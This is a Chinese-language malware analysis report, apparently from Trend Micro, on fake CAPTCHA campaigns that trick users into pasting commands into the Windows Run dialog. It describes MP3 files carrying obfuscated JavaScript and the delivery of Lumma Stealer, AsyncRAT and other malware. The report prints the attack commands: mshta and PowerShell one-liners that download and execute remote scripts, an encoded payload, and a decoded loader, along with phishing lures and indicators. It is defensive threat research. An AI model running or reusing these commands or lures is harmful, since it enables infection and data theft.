在过去几个月中,Trend Micro 托管检测与响应(MDR)调查中发现假冒 CAPTCHA 的案例激增。这些 CAPTCHA 通过钓鱼邮件、URL 重定向、恶意广告或 SEO 污染投放。所有观察到的案例均表现出类似行为:指导用户将恶意命令复制粘贴到 Windows 的“运行”对话框中。脚本随后利用 Microsoft HTML 应用程序宿主(mshta)或 base64 编码的 PowerShell 执行高度混淆的命令,该命令连接到另一个网站并直接在内存中执行多阶段编码脚本。
我们分析中的一个独特发现是,这些网站目前托管了特制的 .mp3 文件,文件中注入了高度混淆的 JavaScript。该脚本触发多阶段流程,最终下载包括 Lumma Stealer、Emmenhtal、Rhadamanthys、AsyncRAT 和 XWorm 在内的多种威胁。
我们将在后续内容中详述这些案例的端到端分析,并梳理这些攻击活动中使用的战术、技术和程序(TTPs)。
初始访问
用户在浏览看似无害的内容网站时,会遇到一个伪装成合法人机验证提示的 CAPTCHA 页面。在某些情况下,钓鱼邮件会将用户重定向到这些欺骗性页面。页面会指示用户将一段命令复制并粘贴到运行对话框(Win + R)中,作为“验证”流程的一部分。一旦执行,该命令会启动恶意脚本,在受害机器上安装各种威胁。
以下是我们分析中观察到的一些诱导用户执行的命令示例:
-
•
mshta.exe hxxps://ernier[.]shop/lyricalsync[.]mp3
# “我不是机器人:CAPTCHA 验证 UID:885203” -
•
mshta.exe hxxps://zb-files[.]oss-ap-southeast-1[.]aliyuncs[.]com/DPST_doc.mp3
# “我不是机器人:CAPTCHA 验证 UID:815403” -
•
mshta.exe hxxp://ok[.]fish-cloud-jar[.]us/
# “需要验证:安全代码 3V8MUR-9PW4S” -
•
mshta.exe hxxps://yedik[.]shop/Tech_House_Future[.]mp3
# “我不是机器人:CAPTCHA 验证 UID:885203” -
•
mshta.exe hxxps://x63-hello[.]live/nF3mXcQ9FVjs1sMt[.]html
# “我是人类 ID241619” -
•
mshta.exe hxxps://welcome12-world[.]com/wpDoQRpZt2PIffud[.]html
# “我是人类 ID233560” -
•
mshta.exe hxxps://w19-seasalt[.]com/mbDjBsRmxM1LreEp[.]html
# “我是人类 ID984662” -
•
PowerShell.exe -W Hidden -command $uri = 'hxxps[://]fessoclick[.]com/clck/dub.txt'; $content = (Invoke-WebRequest -Uri $uri).Content; Invoke-Expression $content
-
•
cmd /c "powershell -w h -e aQBlAHgAKABpAHcAcgAgAC0AVQByAGkAIAAnAGgAdAB0AHAAcwA6AC8ALwB2AGkAZQB3AGUAcgAtAHYAYwBjAHAAYQBzAHMALgBjAG8AbQAvAGkAbgAuAHAAaABwAD8AYQBjAHQAaQBvAG4APQAxACcAKQA=" && ✅ 我不是机器人 - reCAPTCHA ID:7845
-
•
mshta hxxps://check[.]nejyd[.]icu/gkcxv[.]google?i=db47f2d4-a1c2-405f-ba9f-8188d2da9156 REM ✅ 人类验证通过:CAPTCHA ID:658630
-
•
PoWeRsHeLl -w h -c cUr"L.E"x"E" -k -L hxxp"s://ka"j"e"c.icu"/f"04b18c2f7ff"48bdbf06"701"38"f9eb2"4f.txt | pow"e"rs"h"el"l" -
对这些钓鱼邮件的分析显示了一些重复出现的主题。邮件标题常提及访客物品、营造紧迫感,或引发对安全和保密性的担忧。这些邮件通常会提及某些“遗留物品”,并使用正式、专业的语气以增强可信度,促使用户迅速采取行动。以下是一些邮件标题示例:
需要处理 - 客人遗留贵重物品
请注意:发现客人的私人日记和文件
重要通知:客人的保险箱未上锁
紧急通知:客人医疗设备遗留在物业
最后通知:客人在房间内遗留贵重物品 — 需立即处理
客人物品遗留在您的物业 — 需立即关注
高风险物品:客人的机密笔记本电脑未妥善保管
需立即联系 - 客人物品
法律与安全问题:客人护照及移民文件遗忘
失物招领更新:发现客人的电子设备
请联系客人 - 遗忘物品
回复:紧急事项 - 找到客人遗失的信用卡
安全警报:客人的笔记本电脑和手机遗留在物业
紧急事项:客人遗失的信用卡已找到
紧急关注 - 客人物品在您酒店中
紧急安全问题:客人未领取的身份证明文件
每封钓鱼邮件中嵌入的 URL 都利用了诸如 [https://xxx[.\]51.ca](https://xxx[.]51.ca/) 和 hxxps://www[.]xxxnet.dk 等合法域名的可信度,使其在毫无戒心的用户看来具有可信性。然而,一旦点击,这些 URL 会将用户重定向到伪造 CAPTCHA 域名的落地页。
-
• hxxps://sns[.]xx[.]ca/link[.]php?url=///guests-reservid[.]com
-
• hxxps://sns[.]xx[.]ca/link[.]php?url=///guest-idreserve[.]com
-
• hxxps://sns[.]xx[.]ca/link[.]php?url=///idguset-reserve[.]com
-
• hxxps://sns[.]xx[.]ca/link[.]php?url=///guestdocfound[.]com
-
• hxxps://sns[.]xx[.]ca/link[.]php?url=///itemsfoundguest[.]com
-
• hxxps://sns[.]xx[.]ca/link[.]php?url=///guestitemsfound[.]com
-
• hxxps://www[.]xxxnet[.]dk/out[.]php?link=///guests-reservid[.]com
在某些情况下,钓鱼邮件会附加一个 PDF 文件,而不是直接包含链接。一旦打开该 PDF,用户会被重定向至伪造的 CAPTCHA 落地页。在下方示例 PDF 中,用户点击嵌入链接 “hxxps://viewer-vccpass[.]com” 后即被重定向至伪造页面。
该活动通过我们的 Vision One 遥测系统被捕获,从而能够对每个事件的影响进行更深入的分析。在下方的另一个示例中,从 Outlook 接收到的邮件中点击链接后,会启动 Microsoft Edge 并将用户重定向到伪造的 CAPTCHA 页面 “guest-idreserve[.]com”。通过我们的 MxDR 监控,我们能够追踪与该伪造 CAPTCHA 活动相关的所有行为,涵盖多个案例。这种可视化能力使我们能够迅速深入分析,并立即响应,以遏制威胁并最大限度地减少潜在损害。
processCmd: "C:\Program Files (x86)\Microsoft Office\Office16\OUTLOOK.EXE" /restore
eventSubId: 2 - TELEMETRY_PROCESS_CREATE
objectFilePath: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
objectCmd: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://ddec1-0-en-ctp.trendmicro.com/wis/clicktime/v1/query?url=https%3a%2f%2fsns.51.ca%2flink.php%3furl%3d%2f%2f%2fguest%2didreserve.com&umid=752b0533-6767-40ff-912a-4588faff641e&rct=1741302019&auth=425f1f34671f589a3c09af172bfc11942b97c2dc-1a12aafe890dacb37dba6b470ea1876e59d08cbe
攻击者还利用 SEO 投毒技术诱导受害者访问伪造的 CAPTCHA 登录页面。在某个案例中,一名用户在 Google 上搜索 “Longleat House”。通过 Trend Vision One 中取证应用的浏览记录数据,我们能够识别出准确的搜索查询词:“Longleat House Entrance”。如图 5 所示,搜索该短语返回的前排结果是一个被攻陷的合法网站,最终会引导用户进入伪造的 CAPTCHA 登录页面。
访问该网站会跳转到一个伪造的 CAPTCHA 页面,页面指示用户将一条恶意混淆的命令粘贴到“运行”对话框中。该命令随后会在内存中直接执行一个远程脚本。
执行阶段
为便于说明,我们重点分析那些将恶意脚本嵌入 MP3 文件中的伪造 CAPTCHA 攻击,这类攻击手法较为独特。尽管具体的脚本和攻击阶段可能因事件而异,但其整体模式和行为具有一致性。
遥测数据显示,mshta
执行了名为 lyricalsync.mp3
的文件,该文件是一个被精心构造的 MP3 文件,托管在 hxxps://ernie[.]shop
上。
File path: C:\Windows\System32\mshta.exe
"C:\WINDOWS\system32\mshta.exe" hxxps://ernier[.]shop/lyricalsync.mp3 # ''Ι am nοt a rοbοt: САРТСНА Verification UID: 885203
C:\Users\srt\AppData\Local\Microsoft\Windows\INetCache\IE\TKYD709X\lyricalsync.mp3
威胁情报识别出多个与 hxxps://ernier[.]shop/lyricalsync[.]mp3
相关的引用来源(Referrer)URL。访问这些 URL 会跳转至显示伪造 CAPTCHA 的落地页,并指示用户将恶意命令复制粘贴到运行对话框中执行。这种行为在我们分析的其他案例中也表现出一致性。尽管托管 MP3 文件的具体 URL 可能有所不同,但每个 URL 都包含一个引用来源 URL,最终会将用户重定向至伪造的 CAPTCHA 页面。
访问这些引用来源 URL 之一会将用户重定向至伪造的 CAPTCHA 验证页面,页面通常标有“Verify You Are Human”(验证你是人类)或“I’m not a robot”(我不是机器人)字样。
当用户点击“I’m not a robot”时,系统会提示其在本机上复制并执行恶意代码。在此示例中,屏幕将显示如下内容:
与其他假冒 CAPTCHA 活动一样,威胁行为者也在积极更新这些网站上的 URL 和脚本。如图 11 所示,仅在我们最初分析后的第二天,就使用了不同的 URL,页面外观也发生了变化。这种策略使攻击者能够持续进行操作 —— 一旦某个 URL 被封锁或下线,他们可以迅速切换到新的地址。
每个假冒 CAPTCHA 页面都包含一个脚本,该脚本会动态生成并将一个 mshta 命令复制到用户的剪贴板中。该命令指向托管恶意 HTA 或 MP3 文件的远程站点。命令采用 Base64 编码,并通过 JavaScript 自动解码并复制到剪贴板。
文件 lyricalsync.mp3 包含一个多阶段编码的 JavaScript 脚本:先是 Base64 编码,然后是十六进制编码。乍一看,它似乎是一个普通的音频文件——播放时会播放 Reign on Me 乐队的歌曲《Done With You》。
在某些情况下,音频文件直接嵌入在网页中。
对多个案例中 MP3 文件头的分析显示出一致的模式。许多文件似乎源自免版权音乐网站 www[.]jamendo[.]com。威胁行为者似乎下载这些合法音频文件,注入恶意 JavaScript,并将其重新利用为恶意软件的传播载体。
该 lyricalsync.mp3 文件包含混淆的 JavaScript(我们检测为 Trojan.JS.EMMENHTAL.SM)。通过 mshta 执行时,会触发该脚本,该脚本经过多重解混淆阶段后运行实际载荷。在其他案例中也发现了类似的技术。
当 lyricalsync.mp3 通过 mshta 执行时,它会启动一个多阶段解混淆过程,旨在规避检测机制,如下所示:
第一阶段编码脚本(Base64):
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -nop -ep un -E JABSAHgAVQB6ACAAPQAgACcANgA5ADYANQA3ADgANQAzADcANAA2ADEANwAyADcANAAyAEQANQAwADcAMgA2AEYANgAzADYANQA3ADMANwAzADIAMAAyADIAMgA0ADYANQA2AEUANwA2ADMAQQA1ADcANAA5ADQARQA0ADQANAA5ADUAMgA1AEMANQAzADcAOQA3ADMANQA3ADQARgA1ADcAMwA2ADMANAA1AEMANQA3ADYAOQA2AEUANgA0ADYARgA3ADcANwAzADUAMAA2AEYANwA3ADYANQAv
第二阶段编码脚本(十六进制):
$RxUz = '69657853746172742D50726F63657373202224656E763A57494E4449525C537973574F5736345C57696E646F7773506F7765725368656C6C5C76312E305C706F7765727368656C6C2E65786522202D417267756D656E744C69737420272D4E6F50726F66696C65272C272D457865637574696F6E506F6C696379272C27556E72657374726963746564272C272D436F6D6D616E64272C27535620396620285B4E65742E576<redacted>' -split '(.{2})' | Where-Object {$_} | ForEach-Object {[char]([convert]::ToInt32($_,16))};$RxUz = $RxUz -join ''; & $RxUz.Substring(0,3) $RxUz.Substring(3)
最终完全解码的脚本:
iex "Start-Process \"$env:WINDIR\SysWOW64\WindowsPowerShell\v1.0\powershell.exe\" -ArgumentList '-NoProfile','-ExecutionPolicy','Unrestricted','-Command','SV 9f ([Net.WebClient]::New());SV 09h ''https://bi[.]yuoie[.]shop/750413b4e6897a671bc759e04597952a0be747830189873b.xlsx'';Set-Item Variable:/Ob9 (((( [Net.WebClient]::New()|Member)|Where-Object{(Get-ChildItem Variable:_).Value.Name-like'*nl*g*'}).Name));(Variable *uti*t).Value|ForEach-Object{(Get-ChildItem Variable:_).Value.InvokeCommand.( ( (Variable *uti*t).Value.InvokeCommand.PsObject.Methods|Where-Object{(Get-ChildItem Variable:_).Value.Name-like'*k*ript*'}).Name)}( (9f).Value.(GCI Variable:\Ob9).Value)(Item Variable:09h).Value}' -WindowStyle Hidden;$yiZLHS = $env:AppData;function qhlncfrI($oDusI, $lHglEMM){curl $oDusI -o $lHglEMM};function WpKhSwg(){function ELPZqDpBs($rurDrA){if(!(Test-Path -Path $lHglEMM)){qhlncfrI $rurDrA $lHglEMM}}}WpKhSwg;
最终解码的 PowerShell 脚本首先启动一个新的 PowerShell 进程,设置执行策略为无限制且不加载用户配置文件,以避免被检测。然后它创建一个 WebClient 对象,连接并下载另一个 URL(https://bi.yuoie[.]shop/750413b4e6897a671bc759e04597952a0be747830189873b.xlsx)上的文件。在我们分析时,该文件包含另一个高度混淆的 PowerShell 脚本。
该文件被下载到本地路径,可能位于用户的应用数据目录中:
路径: C:\Users\<用户名>\AppData\Roaming\750413b4e6897a671bc759e04597952a0be747830189873b.xlsx
为了避免被检测,脚本在隐藏窗口中运行。同时它定义了函数,用于验证文件路径是否存在,并在文件尚未下载时使用 curl 命令下载该文件。
PowerShell 脚本“750413b4e6897a671bc759e04597952a0be747830189873b.xlsx”与以下域名进行通信:
-
• buyvault[.]shop
-
• bi.yuoei[.]shop
随后,它对 svchost.exe 进行代码注入,svchost.exe 进程启动了一个合法文件“C:\Windows\System32\OOBE-Maintenance.exe”。该文件随后用于连接以下指挥与控制(C&C)服务器:176[.]65[.]141[.]165:8587。
接下来,脚本启动了基于 Chromium 的浏览器(例如 Google Chrome),使用存储在 C:\Users\srt\AppData\Local\Temp\chrxxxx.tmp 的临时用户配置文件。然后它禁用 GPU,允许端口 8000,并打开了可能的恶意本地 Web 服务器,地址为 127.0.0.1:8000,很可能是 C&C 通信的一部分:
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
--user-data-dir="C:\Users\srt\AppData\Local\Temp\chr18E2.tmp" --explicitly-allowed-ports=8000 --disable-gpu --new-window "http://127.0.0.1:8000/356e38cd/8ed4f620"C:\Program Files\Google\Chrome\Application\chrome.exe
--user-data-dir="C:\Users\srt\AppData\Local\Temp\chr4D53.tmp" --explicitly-allowed-ports=8000 --disable-gpu --new-window "http://127.0.0.1:8000/356e38cd/30a0f650"
除了 Lumma Stealer 外,我们还观察到它挂钩了 “C:\Program Files\Windows Media Player\wmplayer.exe”,该程序随后创建了 AvastBrowserUpdate.exe 并利用 DLL 旁加载(DLL sideloading)加载恶意 DLL 文件 goopdate.dll,从而执行恶意代码(检测为 PUA.Win32.FakeGoop.A.component):
-
• C:\Users\srt\AppData\Roaming\IPEvcon\AvastBrowserUpdate.exe
-
• C:\Users\srt\AppData\Roaming\IPEvcon\goopdate.dll(哈希值:3e2794400664f6ae9a9b27821bf01ca008f99e1d)
在另一个实例中,我们观察到该编码的 MP3 文件连接到另一个 URL 下载并执行另一段高度混淆的 PowerShell 脚本。它访问了文件托管网站 MediaFire(download2431[.]mediafire[.]com),下载第二阶段的负载,最终导致 Lumma Stealer 的执行。
揭示负载归属
我们对假 CAPTCHA 技术的分析揭示了多样但相互关联的攻击指标(IoCs),这些指标与多种已知恶意软件家族相关联。通过URL关系和VirusTotal的遥测数据进行关联分析,我们建立了交付基础设施与恶意软件家族之间的高置信度联系。这种方法揭示了与Lumma Stealer、Emmenhtal、Rhadamanthys、AsyncRAT和XWorm相关的多个集群。以下是这些IoCs如何关联到本次活动中观察到的各恶意软件家族的概述:
Lumma Stealer:多个URL通过VirusTotal的关系图指向已知的Lumma Stealer分发节点。
Emmenhtal:对Emmenhtal恶意软件的归属基于指挥控制(C&C)基础设施和恶意软件投放机制中的重叠观察。当前活动中识别出的元素与先前记录的与Emmenhtal相关的指标相符,增强了对此归属的可信度。
Rhadamanthys:该关联基于通过历史恶意软件提交和代码仓库关系中观察到的基础设施重叠。下图展示了这些连接,进一步加强了与已知Rhadamanthys活动的关联。
AsyncRAT / XWorm: 共享的投递URL 185[.]7[.]214[.]108/a[.]mp4 被发现托管了标记为 AsyncRAT 和 XWorm 的有效载荷。VirusTotal 的图谱分析确认该IP多次被用于托管远程访问木马(RAT)和轻量级恶意软件加载器,表明根据目标环境可能使用多重有效载荷或模块化加载器。
针对假验证码攻击的安全防护措施
这些假验证码攻击活动持续变得更加复杂,威胁行为者采用了多阶段混淆、内存中脚本执行,甚至在某些情况下将混淆的 JavaScript 隐藏在看似无害的 MP3 文件中。主要的传播方式包括钓鱼邮件(内嵌恶意链接或附件)和不可信网站上的恶意广告。
无论入口如何,攻击链通常依赖混淆的 JavaScript 或 PowerShell 脚本来获取并执行各种载荷。它们通常借助类似 Emmenhtal 的加载器下载信息窃取器(如 Lumma Stealer、Rhadamanthys)或远控木马(如 AsyncRAT 和 XWorm)。
预计未来的假验证码攻击将不仅限于 MP3 和 HTA 文件,还会嵌入其他非常规格式的载荷。尽管恶意广告和钓鱼邮件仍是主要分发渠道,攻击者可能会开始尝试利用社交媒体平台或即时通讯应用来传播经过缩短或伪装的链接。
mshta.exe 和 PowerShell 之所以被广泛使用,主要因为它们在大多数环境中的可访问性。但我们也可能会看到其他“借助系统工具”(LOLBins)如 rundll32 和 regsvr32 的使用增加,以规避检测。
以下是防御这类攻击的一些安全最佳实践:
-
• 禁用“运行”对话框(Win + R)访问。 在限制用户访问管理工具和脚本执行的环境中,建议禁用“运行”窗口,从而降低恶意 PowerShell 或 MSHTA 命令的执行风险,防止滥用 Windows 原生命令行工具。
-
• 执行最小权限原则。 除了限制“运行”对话框访问外,确保用户仅获得完成任务所需权限,包括限制对敏感目录的写入和执行权限,禁用不必要的脚本执行,防止未经审批的权限提升。减少权限有助于限制用户和恶意软件执行系统级命令的能力。
-
• 限制访问未批准的工具和文件共享平台。 保持批准软件清单,阻止非业务必需的公共文件共享服务访问,减少未授权下载风险,限制攻击者传输或加载额外组件。
-
• 监控异常的剪贴板和进程行为。 此类攻击显示用户可能被诱导复制粘贴执行恶意命令。监控剪贴板中的编码命令或可疑脚本片段,及进程异常行为,尤其是在用户与网页、PDF 或聊天软件交互的环境中。关注媒体播放器或浏览器异常启动可疑执行文件或脚本解释器,可能预示载荷传送。
-
• 强化浏览器配置。 限制不可信或未知域的 JavaScript 执行,启用恶意广告网络过滤,禁用自动播放和混合内容,删除不必要或权限过高的插件,降低因嵌入脚本产生风险。
-
• 启用内存保护功能。 Windows 中有内置的操作系统级别控制,可检测内存中执行、反射式 DLL 注入和其他逃避手段,保护免受多阶段无文件载荷绕过传统检测的威胁。
-
• 加强用户教育。 培训用户识别可疑链接和钓鱼邮件,显著降低受害风险。即使在生产网络中,提升安全意识尤为关键,因为假验证码攻击主要利用用户信任和社交工程。
IOCs
本文相关的妥协指标可在此处查阅:https://documents.trendmicro.com/assets/txt/FakeCAPTCHAs-IOCs5WdqEnM.txt